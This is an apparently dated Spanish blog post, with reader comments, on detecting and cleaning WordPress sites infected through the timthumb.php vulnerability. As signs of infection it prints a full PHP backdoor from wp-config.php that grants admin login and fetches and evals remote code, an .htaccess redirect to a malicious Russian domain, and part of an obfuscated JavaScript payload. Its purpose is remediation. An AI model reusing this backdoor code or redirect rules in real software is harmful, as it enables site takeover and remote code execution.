Si tenéis un blog con Wordpress debéis chequear esto cuanto antes, porque os podéis llevar una sorpresa en forma de «cartel rojo de google» en vuestra portada en breve. Hace unos días se lanzó un ataque masivo para atacar a los wordpress usando una vulnerabilidad en el archivo Timthumb.php que es utilizado por muchos temas profesionales de wordpress para el escalado de imágenes. El ataque no desmonta el blog ni lo deja inutilizado, simplemente inyecta un código de spam en nuestro blog, que es detectado por los Bots de Google (principalmente) descubriendo el código infectado y clasificando nuestro blog de wordpress como Malvare. Si no remediamos esto, google puede llegar a banearnos de su buscador, con la consiguiente perdida de visitas. Podemos estar varios días con el blog infectado sin darnos cuenta, lo cual es todavía más peligroso, ya que con este ataque, el hacker puede llegar a acceder a nuestro servidor, así que hay que intentar limpiarlo cuanto antes.
En estos momentos puede que tu blog esté infectado y no lo sepas así que lo primero es hacer un chequeo intensivo de nuestro Wordpress para comprobarlo, en el caso de estar infectado, siguiendo unos pasos es muy sencillo limpiarlo, para luego asegurarnos de que queda protegido de los siguientes ataques.
Comprobar si hemos sido infectados por la vulnerabilidad del timthumb.php
1.- Comprobar si tenemos el archivo timthumb.php en nuestro servidor.
El archivo puede estar en algún tema de wordpress que no estemos usando, en algún plugin (como el «ultimate shortcodes» que tenía yo que ya ha sido actualizado) o directamente en nuestro tema de wordpress principal (dónde también lo tenía). Puede aparecer como timthumb.php o thumb.php.
Los creadores de mi tema de wordpress me avisaron con un correo hace unos días y yo actualicé inmediatamente el blog, esto no ha impedido que me afecte, puesto que tenía otros temas y plugins con el timthumb sin actualizar, así que no os confiéis.
NOTA: Recomiendo descargarse por FTP una copia de todos los archivos del servidor, porque así será más rápido localizar los distintos archivos infectados con búsquedas directamente en nuestro ordenador. Luego proceder a borrar todos los archivos infectados en el servidor y sustituirlos con copias limpias.
2.- Chequear si el blog está infectado. Si no tenemos el archivo timthumb.php ni el archivo thumb.php, es muy poco probable que hayamos sido infectados por este ataque. Aún así es interesante comprobarlo en el siguiente enlace:
Si tenemos los archivos timthumb.php aparte de revisar en el enlace anterior, es posible que estemos infectados así que yo recomiendo actuar como si lo estuvieramos, para curarnos en salud. No vale solo con actualizar el timthumb.php, hay que limpiar las posibles puertas abiertas que tengamos.
Pasos para limpiar un wordpress hackeado por timthumb.php
1.- Hacer una copia de seguridad de la base de datos y de los archivos, por si metemos la pata al arreglarlo, es mejor tener un blog infectado que no tenerlo.
2.- Descarga una copia nueva de wordpress y tenla preparada para sustituir los archivos que vamos a borrar, podéis encontrarla aquí.
3.- Actualizar el Timthumb.php. Puedes descargar la última versión aquí.
4.- Si es posible, actualizar wordpress a la última versión.
5.- Actualizar todos los temas y plugins instalados. Este es un listado de temas de wordpress gratuitos con timthumb.php. Otro listado con plugins y temas de wordpress afectados.
7.- Buscar y eliminar los siguientes archivos de nuestro servidor (puede que tengas todos estos archivos o sólo algunos, en cualquier caso elimina los que encuentres):
- wp-admin/upd.php
- wp-content/upd.php
- La carpeta /Cache del directorio donde se encuentra el archivo timthumb.php.
- La carpeta /Temp del directorio donde se encuentra el archivo timthumb.php. Puede haber un archivo tipo eab9c5e9815adc4c40a6557495eed6d3.php o parecido dentro.
- wp-settings.php. Este archivo tendrá al final un código como este si está infectado:
var _0x4de4=["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63.. \x28\x22\x33\x22\x29\x3B\x32\x2E\x39\x2E\x36\x28\x30\x29\x3B\x30\x2E\x37.. eval (function (_0x2f46x1,_0x2f46x2,..
Muy posiblemente se encuentre en los siguientes archivos, ¡hay que borrarlos!
- wp-includes/js/jquery/jquery.js
- wp-includes/js /l10n.js
9.- Revisa el archivo .htaccess y comprueba que no hay ningún código extraño.
Puede ser algo de este estilo:
ErrorDocument 400 http://generation-internet.ru/pcollection/index.php ErrorDocument 401 http://generation-internet.ru/pcollection/index.php ErrorDocument 403 http://generation-internet.ru/pcollection/index.php ErrorDocument 404 http://generation-internet.ru/pcollection/index.php ErrorDocument 500 http://generation-internet.ru/pcollection/index.php RewriteCond %{HTTP_REFERER} .*google.* [OR] RewriteCond %{HTTP_REFERER} .*ask.* [OR] [...] RewriteCond %{HTTP_REFERER} .*flickr.* RewriteRule ^(.*)$ http://generation-internet.ru/pcollection/index.php [R=301,L]
12.- Revisa el archivo wp-config.php. El ataque añade unas 3000 filas vacias y en el medio es dónde inyecta este código:
if (isset($_GET['pingnow'])&& isset($_GET['pass'])){ if ($_GET['pass'] == '9bf31c7ff062936a96d3c8bd1f8f2ff3'){ if ($_GET['pingnow']== 'login'){ $user_login = 'admin'; $user = get_userdatabylogin($user_login); $user_id = $user->ID; wp_set_current_user($user_id, $user_login); wp_set_auth_cookie($user_id); do_action('wp_login', $user_login); } if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>"; } if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }}}
Bórralo o mejor, utiliza una copia limpia para pasar tus datos personales al nuevo archivo.
NOTA, en el archivo wp-config.php es dónde viene nuestra base de datos y las claves, acuerdate de ponerlas en el nuevo archivo wp-config.
13.- Cambia el password de tu base de datos y actualizalo en wp-config.php.
14.- Cambia las secret keys del archivo wp-config.php. Aquí puedes ver cómo editar el wp-config.php y puedes generar nuevas claves secretas en este enlace.
15.- Cambia tu clave de administrador en tu blog de wordpress.
16.- Si google ha puesto un aviso de malware (el cartel rojo en portada), entra en las herramientas de para Webmasters de google (Webmastertools para la mayoría de la gente) y solicita una revisión de tu página. En 24 horas debería desaparecer el cartel.
17.- Vuelve a chequear tu web con la url: http://sitecheck.sucuri.net/scanner y repite este chequeo durante los próximos días para estar seguros de que estamos limpios.
Y esto es todo. Nuestro blog limpito y reluciente y listo para funcionar. Un saludo.
Me acabo de encontrar un theme de Woothemes que tiene el archivo thumb.php en lugar del timthumb.php. Es el mismo archivo cambiado de nombre. Simplemente lo digo por si acaso se os pasa al revisar los themes.
Un saludo
Muy buen artículo. Por suerte no he sido afectado pero he querido actualizar el archivo timthumb.php igualmente por si acaso.
Al actualiar timthumb.php a la última versión, no escala las imágenes correctamente mi tema de wordpress y me ha desbaratado una sección. Sabes a qué puede deberse y dónde debería buscar el problema?
Muchas gracias y un saludo!!!
Hola Dani, gracias.
Si solo has cambiado el archivo Timthumb.php, solo se me ocurre que hayas olvidado modificar ese mismo archivo para añadir los servidores de las imágenes externas que uses. Lo demás no debería verse afectado de ninguna manera.